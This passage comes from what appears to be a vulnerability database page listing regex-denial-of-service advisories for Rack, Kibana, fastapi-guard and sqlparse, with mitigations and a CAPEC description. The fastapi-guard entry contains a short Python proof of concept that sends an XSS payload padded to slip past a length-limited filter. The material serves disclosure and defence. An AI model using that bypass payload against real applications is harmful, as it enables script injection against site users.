      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.0"
            },
            {
              "fixed": "3.0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-44572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-18T18:19:21Z",
    "nvd_published_at": "2023-02-09T20:15:00Z",
    "severity": "LOW"
  },
  "details": "There is a denial of service vulnerability in the multipart parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44572.\n\nVersions Affected: \u003e= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1\nImpact\n\nCarefully crafted input can cause RFC2183 multipart boundary parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nReleases\n\nThe fixed releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n    2-0-Forbid-control-characters-in-attributes.patch - Patch for 2.0 series\n    2-1-Forbid-control-characters-in-attributes.patch - Patch for 2.1 series\n    2-2-Forbid-control-characters-in-attributes.patch - Patch for 2.2 series\n    3-0-Forbid-control-characters-in-attributes.patch - Patch for 3.0 series\n",
  "id": "GHSA-rqv2-275x-2jq5",
  "modified": "2023-10-23T19:17:24Z",
  "published": "2023-01-18T18:19:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44572"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1639882"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/releases/tag/v3.0.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-44572.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Denial of service via multipart parsing in Rack"
}

GHSA-RR4Q-H87Q-GM3V

Vulnerability from github – Published: 2026-02-26 18:31 – Updated: 2026-02-26 18:31
VLAI
Details

Inefficient Regular Expression Complexity (CWE-1333) in the AI Inference Anonymization Engine in Kibana can lead Denial of Service via Regular Expression Exponential Blowup (CAPEC-492).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-26T18:23:07Z",
    "severity": "MODERATE"
  },
  "details": "Inefficient Regular Expression Complexity (CWE-1333) in the AI Inference Anonymization Engine in Kibana can lead Denial of Service via Regular Expression Exponential Blowup (CAPEC-492).",
  "id": "GHSA-rr4q-h87q-gm3v",
  "modified": "2026-02-26T18:31:42Z",
  "published": "2026-02-26T18:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26936"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-11-9-2-5-security-update-esa-2026-14/385250"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RRF6-PXG8-684G

Vulnerability from github – Published: 2025-07-23 15:31 – Updated: 2025-07-24 12:46
VLAI
Summary
FastAPI Guard has a regex bypass
Details

Summary

The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

Details

In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>

This type of patch fails to catch cases where the string representing the attributes of a tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

PoC

  1. clone the fastapi-guard repository
  2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. image
  3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.
import requests

URL = "<http://localhost:8000>"

obvious_payload = {
    "obvious" : "<script>alert(1);</script>"
}
response = requests.post(url=URL, json=obvious_payload)
print(f"[+] response of first request: {response.text}")

bypassed_payload = {
    "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
}

response = requests.post(url=URL, json=bypassed_payload)
print(f"[+] response of second request: {response.text}")

image

Impact

Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

Severity
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.1"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-185",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-23T15:31:12Z",
    "nvd_published_at": "2025-07-23T23:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n    \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f\u0027\u003cscript id=\"i_can_bypass_regex_filtering{\u0027a\u0027*100}\"\u003ealert(1)\u003c/script\u003e\u0027\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.",
  "id": "GHSA-rrf6-pxg8-684g",
  "modified": "2025-07-24T12:46:22Z",
  "published": "2025-07-23T15:31:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rennf93/fastapi-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastAPI Guard has a regex bypass"
}

GHSA-RRM6-WVJ7-CWH2

Vulnerability from github – Published: 2023-04-21 20:24 – Updated: 2025-11-04 16:43
VLAI
Summary
sqlparse contains a regular expression that is vulnerable to Regular Expression Denial of Service
Details

Impact

The SQL parser contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service). The vulnerability may lead to Denial of Service (DoS).

Patches

This issues has been fixed in sqlparse 0.4.4.

Workarounds

None.

References

This issue was discovered and reported by GHSL team member @erik-krogh (Erik Krogh Kristensen). - Commit that introduced the vulnerability: e75e35869473832a1eb67772b1adfee2db11b85a

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "sqlparse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.15"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-21T20:24:21Z",
    "nvd_published_at": "2023-04-18T22:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe SQL parser contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service). The vulnerability may lead to Denial of Service (DoS).\n\n### Patches\nThis issues has been fixed in sqlparse 0.4.4.\n\n### Workarounds\nNone. \n\n### References\nThis issue was discovered and reported by GHSL team member [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n- Commit that introduced the vulnerability: e75e35869473832a1eb67772b1adfee2db11b85a",
  "id": "GHSA-rrm6-wvj7-cwh2",
  "modified": "2025-11-04T16:43:46Z",
  "published": "2023-04-21T20:24:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-rrm6-wvj7-cwh2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/c457abd5f097dd13fb21543381e7cfafe7d31cfb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/e75e35869473832a1eb67772b1adfee2db11b85a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/sqlparse/PYSEC-2023-87.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00022.html"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "sqlparse contains a regular expression that is vulnerable to Regular Expression Denial of Service"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list